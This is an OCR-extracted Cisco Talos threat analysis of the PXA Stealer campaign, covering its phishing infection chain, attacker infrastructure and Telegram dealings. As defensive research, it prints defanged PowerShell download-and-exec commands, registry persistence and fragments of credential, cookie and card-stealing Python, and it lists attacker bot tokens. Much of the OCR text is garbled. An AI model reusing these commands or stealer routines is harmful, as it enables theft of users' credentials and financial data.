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Threat Spotlight Stealer

Cisco Talos discovered a new information stealing campaign operated by a
Vietnamese-speaking threat actor targeting government and education entities in
Europe and Asia.

We discovered a new Python program called PXA Stealer that targets victims’
sensitive information, including credentials for various online accounts, VPN and FTP
clients, financial information, browser cookies, and data from gaming software.

PXA Stealer has the capability to decrypt the victim’s browser master password and
uses it to steal the stored credentials of various online accounts.

The attacker has used complex obfuscation techniques for the batch scripts used in
this campaign.

We discovered the attacker selling credentials and tools in the Telegram channel “Mua
Ban Scan MINI,” which is where the CoralRaider adversary operates, but we are not

sure if the attacker belongs to the CoralRaider threat group or another Vietnamese
cybercrime group.

Victimology and targeted information

The attacker is targeting the education sector in India and government organizations in
European countries, including Sweden and Denmark, based on Talos telemetry data.

The attacker’s motive is to steal the victim’s information, including credentials for various
online accounts, browser login data, cookies, autofill information, credit card details, data
from various cryptocurrency online and desktop wallets, data from installed VPN clients,

gaming software accounts, chat messengers, password managers, and FTP clients.
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Targeted Victim Information

Password
Managers

Attacker’s infrastructure

Talos discovered that the attacker was hosting malicious scripts and the stealer program on
a domain, tvdseol[.Jcom, in the directories “/file”, “/file/PXA/”, “I/file/STC/”, and “/file/Adonis/”.
The domain belongs to a Vietnamese professional search engine optimization (SEO)
service provider; however, we are not certain whether the attacker has compromised the
domain to host the malicious files or has subscribed to get legitimate access while still using
it for their malicious purposes.

We found that the attacker is using the Telegram bot for exfiltrating victims’ data. Our
analysis of the payload, PXA Stealer, disclosed a few Telegram bot tokens and the chat IDs
— controlled by the attacker.

Attacker-controlled Telegram bot token

7545164691:AAEJAE2f-4KZDZrLID8hSRSJmPmMR 1h-a2M4
7414494371:AAGgbY4XAvXTWFgAYiAjBOXVJIOVrqgjdGVs

Attacker-controlled Telegram chat IDs
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-1002174636072
-1002150158011
-4559798560
-4577199885
-4575205410

Attacker’s underground activities

We identified attacker’s Telegram account “Lone None,” which was hardcoded in the PXA
Stealer program and analyzed various details of the account, including the icon of Vietnam’s
national flag and a picture of the emblem for Vietnam’s Ministry of Public Security, which
aligns with our assessment that the attacker is of Viethamese origin. Also, we found
Vietnamese comments in the PXA Stealer program, which further strengthen our
assessment.

User Info

[*] Lone None 2

http://avcheck.net/id/Fr4sje9akmvL

@LoneNone

ADD TO CONTACTS

Notifications

SEND MESSAGE

The attacker’s Telegram account has biography data that includes a link to a private
antivirus checker website that allows users or buyers to assess the detection rate of a
malware program. This website provides a platform for potential threat actors to
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evaluate the effectiveness and stealth capabilities of the malware before purchasing it,
indicating a sophisticated level of service and professionalism in the threat actor's
operations.

= avcheck.net/id/FrasjaSakmyl
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We also discovered that the attacker is active in an underground Telegram channel, “Mua
Ban Scan MINI,” mainly selling Facebook accounts, Zalo accounts, SIM cards, credentials,
and money laundry data. Talos observed that this Vietnamese actor is also seen in the
Telegram group in which the CoralRaider actor operates. However, we are not certain
whether the actor is a member of the CoralRaider gang or another Vietnamese cybercrime

group.

Talos discovered that the attacker is also promoting another underground Telegram
channel, “Cu Black Ads — Dropship," by sharing a few automation tools to manage large
numbers of user accounts in their channel and conducting the exchanging or selling of
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information related to social media accounts, proxy services, and a batch account creator
tool.

Mua Ban Scan MINI Group Info

Pinned message #101
Thu banking bm limit 50-250-nIm ai cé ibox dé dc gia t6t nhat
h 2

Cu Black Ads - Dropship #

[ %] Lone None 2

Giao Luu va Update Kién Thirc Ads Black - Dropship Tools - TUT Free
cho anh em choithodimai ¥ ¥ ¥

*Group giao luru moi hanh vi SPAM d8u bi nghiém CAM*

t.me/CuDemADS

;‘ GROUP: https://t. me/CuDemADS

CHANNEL: https://t.me/BlackOWIADS Giao Luu va Update Kién Thrc Ads Black -

Dropship Tools - TUT Free cho anh em chai
thodimai ¥ ¥ ¥

*Group giao luu moi hanh vi SPAM déu bj
nghiém CAM*

Giao Luu va Update Kién Thirc Ads Black - Dropship Tools - TUT Free
cho anh em choithodimai ¥ ¥ ¥
*Group giao lwu moi hanh vi SPAM déu bj nghiém CAM*

;‘ GROUP: https://t. me/CuDemADS

CHANNEL: https://t.me/BlackOwIADS ® GROUP: https/t.me/CuDemADS

CHANNEL: https://t.me/BlackOwlADS

The tools shared by the attacker in the group are automated utilities designed to manage
several user accounts. These tools include a Hotmail batch creation tool, an email mining
tool, and a Hotmail cookie batch modification tool. The compressed packages provided by
the threat actor often contain not only the executable files for these tools but also their
source code, allowing users to modify them as needed.

§ DOGE TOOL | Hotmail Creater v9.7 - MrCrack | https:/ /t.me/@LightScare 101 x|
Chirc nang

# | Tick | Username | Password | Proxy Két qua | Status
. Céu hinh Proxy tuy chinh

C TMProxy (" Tinsoft  Socks5
& None  XProxy © Http mo ~|

Céu hinh giai captcha
¢ AnyCaptcha € AntiCaptcha ¢ None

Key | Timeout: | =
check key I save j+|

56 ludng: I 13:
Quéc gia: [VN|Viét Nam =

Tao mét khau: [DogeTool@1234

Cau hinh chay

Loai captcha & FunCaptcha ' ImageCaptcha
I 84tPOP3 ¥ Ghilog
¥ T4t chrome sau khi chay xong?

Tao mail random & ddy né

Load Log Bat dau

Mg file kq Dirng lai

Author: Truong Pham - 0585.33.0000 | HotmailCreater v9.7 | Key phdn mém: J000000000000000000000000000(( CopyKey | Hansirdung: 01-03-2050
Hotmail batch creation tool from telegram channel.
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[dogetool] DataFetcher - Tool dao mail V3.0 | 0585.33.0000 - https://fb.com/t =101 x|

Cau hinh théngsGchay_
56 ludng:
Check tir uid thie
Timeout (default): | 5000

file chira uid: I file_uid.txt

Ma file

M

file chira token: | file_token.txt
M file

Xudt file két qua

dudi mail xudt: @hotmail.com

file check success: |file_check_success.txt

file check error: file_check_error.bxt

Fake IP :
Mo folder |
* None " Http " Tinsoft file chira proxy: | file_proxy.bt  Open I
" Link_Socks5 ¢ Link_Http © SocksS  TMproxy Bat dau
==> > Huéng dén kich hoat hodc gia han tu déng<<== Dirng lai
Dacheck: - successuid: - | mal: - | emoruid - | Key MM4A7DD247SE Copy HSD: 01.03-2050 .:

Hotmail cookie batch modification tool from telegram channel.

We found that the attacker is not sharing all the tools for free, and some of them require

users to send a unique key back to the Telegram channel administrator for software

activation. This process ensures that only those who have been vetted or have paid for the
tool can access its full functionality. We also discovered that these tools are distributed on

other websites, such as aehack[.]Jcom, highlighting that they are selling the tools.

Additionally, a YouTube channel exists that provides tutorials on how to use these tools,

further facilitating their widespread use and demonstrating the organized efforts to market

and instruct potential users on their application.
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https://www.youtube.com/watch?v=nBLueYeRugg

Mua Ban Scan MINI

- Pinned message #90
Du sll tktt ai muc ib nha rate nsx

-

[ %] Lone None A

¢ DogeChangeVia.zip

Forwarded from Black Owl ¥

Share Tool ChangeVia. Send key for admin to Active. Pass unzip: 123

®

Infection Chain

Infection Chain

Batch Scripts

Executes Py(hon Antivirus Downloads
« evader script
‘,I synaptics.exe
(Portable Python executable

2 Telegram Bot

Rust Loader

The attacker gains initial access by sending a phishing email with a ZIP file attachment,
according to our telemetry data. The ZIP file contains a malicious loader executable file
compiled in Rust language and a hidden folder called Photos. The hidden folder has other
recurring folders, such as Documents and Images, that contain obfuscated Windows batch
scripts and a decoy PDF document.

7/24



* .ufdadg5329954&00&5d992cba?8‘| 88a26abd71879714a83347ec402f70fe65269.zip - ZIP archive, unpacked size 147,991,182 bytes

Name ) Size Packed Type Modified CRC32
File folder
70 272 File folder E .
‘W Compilation of copyrighted videos and images.exe Rust loader 28? 512 131,510 Application 9.-"21,{2024 4 31 .. FFOC5647
* ufdadg5329954&00&5d992cba?81 88a26abd71879714a83347ec402170fe65269.zip\Photos - ZIP archive, unpacked size 147,991,182 bytes
Name ) Size Packed Type Modified CRC32
E File folder
Documents 147,472,166 112,203,334 File folder 9/22/2024 3:.02 ..
“.|Compilation of copyrighted videos and images.bat Batch script 231,504 159,938 Windows Batch File  9/15/2024 6:57 .. SFFC34CE

» -ufdadg5329954&0085d992cba?8‘| 88a26abd71879714a83347ec402f70fe65269.zip\Photos\Documents - ZIP archive, unpacked size 147,991,182 bytes

Name ) Size Packed Type Modified CRC32

- File folder

images 147,186,402 111,996,631 File folder 9/22/2024 3:02 ..
%] Compilation of copyrighted videos and images.bat  Batch script 34 36 Windows Batch File  9/10/2024 412 .. A115BFD1
@ Document.pdf Decoy PDF 285,730 206,667 Microsoft Edge PDF.. 9/8/2024 11:03 .. 6CE1CD6F

When a victim extracts the attachment ZIP file, the hidden folder and the malicious Rust
loader executable are dropped onto the victim machine. When the malicious Rust loader
executable is run by the victim, it loads and executes multiple obfuscated batch scripts that
are in the dropped hidden folders.

We deobfuscated the Windows batch scripts using CyberChef, with each step in the
process being crucial and requiring precise execution to achieve accurate deobfuscation.
First, we employed regular expressions (regex) to filter out random characters consisting of
uppercase and lowercase letters (A to Z). These random strings ranged in length from six to
nine characters and were enclosed within “%” symbols. Next, we filtered out the “*” symbols
and removed any remaining uppercase and lowercase letters (A to Z) as well as special
characters “_,” /'(?),” “$,” “#,” and “[].” Finally, we eliminated the “%” symbols and we were
able to successfully deobfuscate the scripts and reveal their PowerShell commands.

Snippet of the obfuscated batch Snippet of the deobfuscated batch script
script

S 10T rifhirs 2%l LN s D%k TLS LKNWeui I ADC 1% vStvn TWP VY 1% ADOWEFSRELLENEE: (Sctljgs & 1M1cKl. bkTMpi~—17, 1'} | powershellExec

SufMad | $akg iR YE [URC (v ikickF s set /a aNs=05=(02262640xd445)

“%f [ s$CWrvRhciL [ WYshgWa LALpFahywh t KuNC W gWaN | T) XbWa thpaM ) s | W ) dwbhieh j ¥ dmk? goT0 , AnS

CUPg WK ) O (W) L%%n%%0 7 ZsdWnWs7ul ? LG 1%pN T TOX# W2 WS Zr | 7 1128822

FdavhghaPqekzOMVkeRAgbn ] BMUR=SXKT ICypRAE 1%%gZPY ZK Kb SxuTmhwRA\R0DG (WY 1%4C rF#Tab%kA gejg $fuv = [Ulauvgo.K101.Rlcvjl: :Elgodkpg( [UlauvgDriVeRDAta:~—22,

0] 1 zywepaispuPhC J%s fansS Tt j dnbigetX? fKpe ] ShywdR0xM hwgwsusst c0 ) IO\ kzarek 2GasU1vehns tql Vi 1.G1pxktgpogpv] : : IlgvHlgnfgtRleyj [ 'NlgecnClrrnkecvkgpFlove' ], 'G1C1pN1czWIM1COmMoNPRogratwia32:~8,

AT SPENAUVE] $G0x TRvRORIVERDATA: ~35, 1K1'); C1ff-Viarg -CluugodnaPlcog ma.ngn,mul.anrtguukanpdnln:w—J,

19018 ] ) ) _ZZ%5Y L%P ] DOo%EYS S AMpSaty ) xF 5%\ %K sMLIAY1%WNT S YW ] £2, WipWite LESpRATIAG 1.H1kngUlauvgo; kh (Viguv-Rlcv] $fuv) { Tigoqxg-K1TEP:~-13, 1go ~TigepuBLIC:~18, 1tug -Hlqteg

11 2CRGWABXGARD Wy W) xUIH ] M) , EwlWsR1MpURGOMANSGR *$0rIVErdaTar~-32, Luvi#* } goug { Plgy-Klvgo -KDOT:~6@, lvgoVlarg

($5_Skawywh YKIL fatghhDB rzAvSt el iYdyF (#aU1%hc Z1oU f ol j %P X FDmtgwecG flovivknsho, _7s twidns FlktgevgtDRIVErdATA:~12, 1 -Hlgteg sfuv } ;

HWeDS r\ %20 rod rvhx Wil Lunce 1%t LThj F]%. SUNWNURI%@%t PYd 2 sA%\ WONBm | ¥urveiax$d) wh05: -4, [Ulauvgo.K101.Elgortguukgp. Blkrilkng]: c.uncemtnlanunm ~8,
1V1qF1ktgevqtal [Ulauvgo.K101.Rlcvj]: :E1qodkpg( [Ulauvge.K101.Rlcvj]: 1 T1gvVigorRicvj (), 'G1C1pNlczWIMLCKL.bkr'),

TRRYRRQRSNS | Shgwh, MTIRAATRARKGDXp [W5usha ] 2c W% WY EQFORAKDOT 1~ 34, 1%en%aGt_GkOavsnisjoZ | sfuv) | powershellExec

Tl %, %€ LHN 2% YmmZ SR % rapHL rengvss [afQoin s) sLXAzs &
gejq $u = $rAPPDAtA:~-9, lanqef = "CODE_LOADER";Sobj = Plgy-Q1PuBLic:~11, 1lgev -
ElgeQ1PublIc:~11, 1lgev Y1DrivERdaTa:~11, letkrv.Uljgnn; snkpm =
sqdL.EltgcvgeRiveRdatA:~11, 1jgtvewy(™ iqmc NI01E1CINICIRIRIFICIVICINY Lkpfayullgewt kvdriveRdatA:~12,
1.npa’); snkpn. Y1kpfaylilvang = 7; snkpn. THp: ~ 1ctiguRlev] =
“$gpx:NIKDOT :~28, 1E‘l(1N1C1H1R1F1(1U1C1\G‘1(1|ﬂL(z\ﬂMl(Kl\uap(rvkcu g2g"; $nkpa. KleqpN1gecukgcoMMOnpRoGrAnFT LeS:~
7, 1 = “Elprilgranfiles(xB6):~1, 1\R1tgitco Hikngu
(ZB6)\KDOT :~44,, 1ketquqhv\G1fighC1rrnkDOT :~2, 1LoCalAPPIATA: ~=3, 1cvkqphoCOMMONPROGRAMWGA 32 : ~—1,
1gfig. TMp:~3, 1PrOgRaMF iles (x86) :~18,
10.13" : Snkom. €17 iwonuBl1ic:a 10, Leommonn roGrAmFT1ES (xAf )t . vy = "-s

The batch scripts execute PowerShell commands simultaneously, performing the following
activities on the victim machine:

Opens a decoy PDF document of a Glassdoor job application form.
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https://gchq.github.io/CyberChef/#recipe=Find_/_Replace(%7B'option':'Regex','string':'%25%5BA-Za-z%5D%7B6,9%7D%25'%7D,'',true,true,false,false)Find_/_Replace(%7B'option':'Regex','string':'%5B%5C%5C%5E%5D'%7D,'',true,false,true,false)Find_/_Replace(%7B'option':'Regex','string':'(%25%5BA-Za-z%5C%5C,%5C%5C_%5C%5C(%5C%5C?%5C%5C)%5C%5C$%5C%5C%23%5C%5C%5B%5C%5C%5D%5D%7B5,9%7D%25)'%7D,'',true,false,true,false)Find_/_Replace(%7B'option':'Regex','string':'%25'%7D,'',true,false,true,false)

CANDIDATE INFORMATION

Job application profile

[ sozmi7ss.amy = 5 @

Patiant:

Date

‘When you choose & company recommended by Glassdoor. you not only et acoess to a professioral workng environment but
also receive putstanding berefits. 'With trarsparert information about benefits. employee reviews, and attractive compersation,
e are commitied to providing job satefaction s well a3 long-ferm development opportungies. This B » place where you can
dhinvidof YouT Cariser i & positheg, Tar and promisirs] emironirsnt

PERSOMAL INFORMATION

CONTACT INFO

Last name Frist nasms

Indicate your gendar;
Birth Dater O stale [ Female [ Ichoose not fo disclose

Adress

Erniitd Phone:

Marital Status ) Mamied () Single ) Divorced () Widowed ()

Date of Application Posithon Employment Type

[ Fult-Time O Part-Time [ Remaote

Website (optional)

URL {Linkedin, Github, Portiolic)

URL {Linkedin, Github, Portialic)

Downloads a portable Python 3.10 package archive masquerading as “synaptics.zip”,
which is hosted on the attacker-controlled domain through the hardcoded URL
“hxxpsl://Jtvdseo[.]Jcom/file/synaptics|.]zip”, and saves it in the user profile’s temporary
folder as well as in the public user’s folder with the random file names and extracts
them.
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C:\WINDOWS\system32\cmd[.]exe /S /D /c echo
[Net[.]ServicePointManager]::SecurityProtocol = [Net[.]SecurityProtocolType]::Tls12;
(New-Object -TypeName
System[.]Net[.]wWebClient).DownloadFile('hxxps[://]tvdseo[.]com/file/synaptics[.]zip"',
[System[.]IO[.]Path]::GetTempPath() + 'EAnLaxUKaI[.]zip'")

C:\WINDOWS\system32\cmd[.]exe /S /D /c echo

[Net[.]ServicePointManager]::SecurityProtocol = [Net[.]SecurityProtocolType]::Tls12;

(New-Object -TypeName

System[.]Net[.]WebClient).DownloadFile('hxxps[://]tvdseo[.]com/file/synaptics[.]zip"',
'"C:\Users\Public\oZHyMUy4qgk[.]zip"')

C:\WINDOWS\system32\cmd[.]exe /S /D /c echo $dst =

[System[.]IO[.]Path]::Combine([System[.]Environment]::GetFolderPath('LocalApplicatior
"EAnLaxUKaI'); Add-Type -AssemblyName System[.]IO[.]Compression[.]FileSystem; if

(Test-Path $dst) { Remove-Item -Recurse -Force $dst\* } else { New-Item -ItemType

Directory -Force $dst } ;

[System[.]IO[.]Compression[.]ZipFile]::ExtractToDirectory([System[.]IO[.]Path]::Combi
'"EAnLaxUKaI[.]zip'), $dst)

C:\WINDOWS\system32\cmd[.]exe /S /D /c echo Add-Type -AssemblyName

System[.]IO[.]Compression[.]FileSystem;

[System[.]IO[.]Compression[.]ZipFile]::ExtractToDirectory('C:/Users/Public/o0zZHyMUy4qk
'C:/Users/Public/o0ZHyMUy4qgk")

Then, it creates and runs a Windows shortcut file with the file name
“WindowsSecurity.Ink”, configuring a base64-encoded command as a command line
argument in the user profile’s temporary folder and configures the “Run” registry key
with the path of the shortcut file to establish persistence.

C:\WINDOWS\system32\cmd[.]exe /S /D /c echo $s = $payload = import
base64;exec(base64.b64decode('aWlwb3JOIHVYbGXpYi5yZXF1ZXNO021tcGOydCBiYXNINjQ7ZXhlYyF
= New-Object -ComObject WScript.Shell;$link =
$obj.CreateShortcut($env:LOCALAPPDATA\WindowsSecurity.lnk);$link.WindowStyle =
7;%link.TargetPath = $env:LOCALAPPDATA\EAnLaxUKaI\synaptics.exe;$link.IconLocation =
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe,13;$1link.Arguments = -c
“$payload ";$link.Save()

C:\WINDOWS\system32\cmd[.]exe /S /D /c echo New-ItemProperty -Path

"HKCU :\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'Windows Security' -
PropertyType String -Value 'C:\Windows\Explorer.EXE
C:\Users\Marsi\AppData\Local\WindowsSecurity.1lnk' -Force

The Windows shortcut file with a single-line Python script using a disguised portable
Python executable downloads a base64-encoded Python program from a remote
server. The downloaded program contains instructions to disable the antivirus
programs on the victim’s machine.
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cmd[.]exe /c start "" /min C:\Users\Public\ozZHyMUy4gk\synaptics[.]exe -c "import
urllib[.]request;import

base64;exec(base64.b64decode(urllib[.Jrequest[.]urlopen('hxxps[://]tvdseo[.]Jcom/file/

[.]read()[.]decode('utf-8')))"

Next, the batch script continues to execute another PowerShell command that
downloads the PXA Stealer Python program and executes it with the masqueraded
portable Python executable “synaptics.exe” on the victim’s machine.

cmd[.]exe /c start /min C:\Users\Public\ozZHyMUy4gk\synaptics[.]exe -c import
urllib[.]request;import

base64;exec(base64.b64decode(urllib[.]Jrequest[.]urlopen('hxxps[://]tvdseo[.]Jcom/file/

[.Jread()[.]decode('utf-8')))

Another batch script called “WindowsSecurity.bat” is dropped in the Windows startup
folder of the victim’s machine to establish persistence, which has the command to
download and execute the PXA Stealer Python program shown in the earlier
paragraph.

PXA Stealer targets victims’ sensitive data

PXA Stealer is a Python program that has extensive capabilities targeting a variety of data
on the victim’s machine.

When the PXA Stealer is executed, it kills a variety of processes from a hardcoded list,
including endpoint detection software, network capture and analysis process, VPN
software, cryptocurrency wallet applications, file transfer client applications, and web
browser and instant messaging application processes by executing “task kill” commands.
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Detection evasive function of PXA Stealer.

The stealer has the capability of decrypting the browser master key, which is a
cryptographic key used by web browsers like Google Chrome and other Chromium-based
browsers to protect sensitive information, including stored passwords, cookies, and other
data in an encrypted form on the local system. The stealer accesses the master key file
“Local State” located in the browser folder of the user’s profile directory, which contains the
information of the encryption key used to encrypt the user data stored in the “Login Data”
file, and decrypts it using the “CryptUnprotectData” function. This allows the attacker to gain
access to the stored credentials and other sensitive browser information.
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ch_master_key(path):

open(os. . (path, "Lo State"), "r", encoding="utf-8")
c = f. )
FileNotFoundError:

(local_state["os ypt"1["encrypted_
]

Data(ch_master_key, , 0)[1]

Browser master key decryption function of PXA Stealer.

The stealer also attempts to decrypts the master key that is stored in the key4.db file.
Key4.db is a database used by Firefox (and some other Mozilla-based browsers) to store
encryption keys, particularly the master key that encrypts sensitive data, such as saved
passwords. The “getKey” function of the stealer is designed to extract and decrypt keys
from the key4.db file using either AES or 3DES encryption methods, depending on the
encryption used in the stored key.
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K directory:
dbfi Path = directory +
conn = sqlite3. (dbfile
= = conn.
("SELECT iteml, item2
v = next(c)
ybalSalt, item2

row = next(c)
all, ald2 = row
Stopl a

decode(all
rypt_aes(decodedAll, master word, globalSalt)
on_method = 3" 2
oid = decodedA11[¢
format
{oid}"
Al11[0][1][e].
@)

obalSalt, masterPassword, entrySalt, cipherT)
key[:24]

Browser master key decryption function of PXA Stealer.

The stealer attempts to retrieve user profiles paths from the profiles.ini file of browser
applications, including Mozilla Firefox, Pale Moon, SeaMonkey, Waterfox, Mercury, k-
Melon, IceDragon, Cyberfox, and BlackHaw for further processing, such as extracting
saved passwords or other user data.
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f"{AppData}
f"{AppDat
" {AppDat

basepaths.

iles(basepath):

profiles

profiles

The stealer collects the victim’s login information from the browser’s login data file. The
function “get_ch_login_data” of the stealer extracts login data, including URLs, usernames,
and passwords, from the database “login_db”, which stores login information. The extracted
login information is formatted into a string that includes the URL, username, decrypted
password, browser, and profile.

For each login entry in the browser login database, the function checks if the URL contains
any important keywords that are hardcoded in the stealer program, and if a match is found,
the login information is saved in a separate file named “Important_Logins.txt” located in the
“‘Browsers Data” folder within the user’s profile temporary directory. The function saves all
the results to “All_Passwords.txt” in the “Browsers Data” folder for other login data found in
the database.
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save_gck_login_data(profiles, profile_name, browser_name):
count = 0
login_data = ""
logins = []
profile profiles:

open(os. ; (profile, "logins.json"), "r" loginf:
jsonLogins = json. (loginf)

"logins" jsonLogins:

[]

row jsonLogins["logins"]:

encUsername = row["encryptedUsername"]

encPassword = row["encryptedPassword"]

logins. nd((row[ "hostname"], decodelLoginData(getKey(profile),
encUsername), decodelLoginData(getKey(profile), encPassword)))

login logins:
login_data += f"URL: {login[@]}\nUsername: {login[1]}\nPassword:
{login[2]1}\nApplication: {browser_name} [Profile:
{profile_name}]\n \n"
count += 1

login logins:
keyword ImportantKeywords:
keyword login[o]. [ s
05.| ; (PathBrowser):
0s. irs(PathBrowser)
open(f"{PathBrowser}\\Important_Logins.txt",

encoding="utf-8") site:

site. (f"URL: {login[@]}\nUsername:
{login[1]1}\nPassword: {login[2]}\nApplication: {browser_name} [Profile:
{profile_name}]\n

count > 0:
0S. 5 (PathBrowser):
0s. (PathBrowser)
logins_file = os. . (PathBrowser, f"All_Passwords.tx
open(logins_file, "a", encoding="utf-8") f
f. (login_data)
count

Login credentials stealer function of PXA Stealer.

The stealer executes another function, “get_ch_cookies”, to extract cookies from a specified
browser's cookie database, decrypt them, and save the results to a file. First, it checks if the
cookies database file exists in the specified profile directory and unlocks the cookies
database file. The database file is then copied to the temporary folder and is processed by




executing an SQL query to retrieve cookie information, including host key, name, path,
encrypted value, expiration time, secure flag, and HTTP-only flag from the cookies

database file.

If any Facebook cookies are found, they are concatenated to a single string called
"fb_formatted", and it calls another function, "ADS_Checker()", to check for ads based on
the Facebook cookies, and the results are written to a file called "Facebook_Cookies.txt”.
Any other cookie information is written to a text file named after the browser and the profile.

Finally, the function removes the temporary cookie database file.

profile_name, browser_name):

r_name}_{profile_name}.txt")

Browser cookies stealer function of PXA Stealer.

In another sample of the stealer, for the browsers Chrome, Chrome SxS, and Chrome(x86),
it downloads and executes a cookie stealer JavaScript through the URL
hxxps://tvdseo[.]Jcom/file/PXA/Cookie Ext.zip. The cookie stealer JavaScript connects to the
Telegram bot with the token, and the chat ID hardcoded in the script collects the cookies
and sends them to the attacker’s Telegram bot through the POST method.

17/24



chrome.

Browser cookie stealer JavaScript.

Next, the stealer targets the victim’s credit card information stored in the browser database
“‘webappsstore.sqlite”. The function extracts and decrypts saved credit card information
from a browser's web data database. It checks if the cards database file "cards_db" exists
and copies them to the user’s profile temporary folder. It executes a SQL query to retrieve
credit card information including name on card, expiration month/year, encrypted card
number, and date modified. Then it decrypts the encrypted card number using the function
“decrypt_ch_value” with the help of the decrypted master key. It writes the cards’
information to a text file and names it after the browser and the profile. Finally, it gets the
count of credit card information that was found and deletes the temporary copy of the
“cards_db” file.
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"{path}

{profile}\\Wwet
{ TMP+

Cursor. () 1
— row[1]

card_number decrypt_ch_valu

e: { p1HnCard Number: {card_number}\r

result +=

(PathBrowser,
" (dir_path):
(dir_path)
(dir_path, f"{browser
", encodings=

Credit card data stealer function of PXA Stealer.

The stealer extracts and saves the autofill form data from a browser's database to a text file
with the file name format of “Sbrowser_$profile.txt” in a folder called “AutoFills” in browser
profile location.

get_ch_autofill(browser, path, profile):
result = ""

count = 0

(f"{path}\\{profile}\\Web Data"):
count
shutil. (f"{path}\\{profile}\\web Data", TMP+"\\autofill_db")
conn = sqlite3. (TMP+"\\autofill_db")
cursor = conn. @)

cursor. ("SELECT name, value FROM autofill")
row cursor. ():
row[0] row[1]:

result += f"Name: {row[0]}\nvalue: {row[1]}\n
count += 1

count > O:
dir_path = os. : (PathBrowser, "AutoFills")
0S. . (dir_path)
0s. (dir_path)
autofills_file = os. : (dir_path, f"{browser} {profile}.txt")
open(autofills_file, "w", encoding="utf-8") f:
f. (result)
)
(T™MP + "\\autofill_db")
count

Autofill data stealer function of PXA Stealer.




The stealer also extracts and validates Discord tokens stored in various browsers or
Discord applications. It checks for the stored encrypted Discord tokens in the different
browser database files and also Discord-specific applications files of Discord, Discord
Canary, Lightcord, and Discord PTB on the victim's machine by searching for strings using
regular expression "r"dQw4w9WgXcQ:[*.*\['(.*)'\].*$]["\"]*")". Once the encrypted tokens are
found, it decrypts them with the function “decrypt_dc_tokens()” using the extracted master
key that was used to encrypt the tokens from the "Local State" file. Then, it validates the
decrypted Discord tokens to check if it is a legitimate Discord token and stores it by
associating it with the browser name. Besides searching for the encrypted tokens, the
function also looks for unencrypted Discord tokens by searching strings that match the
regular expression pattern "[\w-]{24}\.[\w-{6}\.[\w-]{27}" for standard tokens and "mfa\.[\w-]
{84}" for multi-factor authentication (MFA) tokens in ".log" and ".Idb" files in the levelDB
directory of Discord applications or web browsers where the structured key-value data is
stored in levelDB database format.

Discord token stealer function of PXA Stealer.
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The stealer executes another function to extract the user information from the MinSoftware
application database. It searches for the database file "db_maxcare.sqlite" file on the victim
machine folders, including Desktop, Documents, Downloads, OneDrive and in the logical
partitions with the drive letters "D:\" and "E:\". Once found, it executes a SQL query to
search in the accounts table of the database file and extracts the following data:

¢ uid: User identifier.

e pass: User's password.

o fa2: Two-factor authentication data.

e email: The user's email address.

e passmail: The email password.

e cookie1: Likely a session or authentication cookie.
o token: Likely an authentication token.

e info: Account information.

MinSoftware application data stealer function of PXA Stealer.

The stealer also has the functionalities for interacting with Facebook Ads Manager and
Graph API using a session authenticated via cookies.

|t takes a Facebook cookie and parses it for the session information, such as “c_user”,
and attempts to access the token.

» Retrieves and formats the details about the user's ad accounts, such as account
status, currency, balance, spend cap, and amount spent.

» Gets the list of the user's Facebook pages, including page name, link, likes, followers,
and verification status.

o |t retrieves a list of groups with administrative users.

¢ |t extracts Business Manager IDs associated with the account and retrieves ad
account information under each Business Manager.

It uses Facebook data to determine ad account limits for a Business Manager.

« |t extracts the token from Facebook mobile pages to facilitate authenticates requests.
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Facebook data stealer function of PXA Stealer.

After collecting the targeted victim's data, including the login data, browser cookies, autofill
information, credit card details, Facebook ads account data, cryptocurrency wallet data,
Discord token details, and MinSoft application data, the stealer creates a ZIP archive of all
the files in the user profile’s temporary folder with the file name format
"CountryCode_Victim's public IP Computername.zip", with a high compression level of
value nine.

zip_data = io.

archive_path

While creating the archive and navigating the targeted folders, the stealer excludes some of
the directories, including user_data, emoji, tdummy, dumps, webview, update-cache,
GPUCache, DawnCache, temp, Code Cache, and Cache. It also attempts to rename each
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file while adding them to the archive. The archive is exfiltrated to the actor’s Telegram bot.
After exfiltrating the victim’s data, the stealer deletes the folders that contained the collected

user data.

#5v Data M&i

#Sv Data Update (Send tir lan 2)

bath):

Exfiltration function of PXA Stealer.

Coverage

Cisco Secure Endpoint . - Cisco Secure Firewall/Secure IPS
(AMP for Endpoints) Cloudlock Cisco Secure Email (Network Security)

v N/A v v

Cisco Secure Malware Analytics Cisco Umbrella DNS Security EiscaUmbrella’siG Cisco Secure Web Appliance

(Threat Grid) (Web Security Appliance)

Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the
execution of the malware detailed in this post. Try Secure Endpoint for free here.

Cisco Secure Web Appliance web scanning prevents access to malicious websites and
detects malware used in these attacks.

Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by
threat actors as part of their campaign. You can try Secure Email for free here.
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https://www.cisco.com/c/en/us/products/security/amp-for-endpoints/index.html
https://www.cisco.com/c/en/us/products/security/amp-for-endpoints/free-trial.html?utm_medium=web-referral?utm_source=cisco&utm_campaign=amp-free-trial&utm_term=pgm-talos-trial&utm_content=amp-free-trial
https://www.cisco.com/c/en/us/products/security/web-security-appliance/index.html
https://www.cisco.com/c/en/us/products/security/email-security/index.html
https://www.cisco.com/c/en/us/products/security/cloud-mailbox-defense?utm_medium=web-referral&utm_source=cisco&utm_campaign=cmd-free-trial-request&utm_term=pgm-talos-trial

Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances
such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect
malicious activity associated with this threat.

Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds
protection into all Cisco Secure products.

Umbrella, Cisco's secure internet gateway (SI1G), blocks users from connecting to malicious
domains, IPs and URLs, whether users are on or off the corporate network. Sign up for a
free trial of Umbrella here.

Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks
potentially dangerous sites and tests suspicious sites before users access them.

Additional protection with context to your specific environment and threat data are available
from the Firewall Management Center.

Cisco Duo provides multi-factor authentication for users to ensure only those authorized are
accessing your network.

Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the
latest rule pack available for purchase on Snort.org. Snort SIDs for this threat are listed
below:

Snort2: 64217, 64204, 64216, 64215, 64214, 64213, 64212, 64211, 64210, 64209, 64208,
64207, 64206, 64205, 64203

Snort3: 301057, 301063, 301062, 301061, 301060, 301059, 64217, 301058
ClamAV detections are also available for this threat:

Win.Loader.RustLoader-10036712-0
Py.Infostealer.PXAStealer-10036718-0
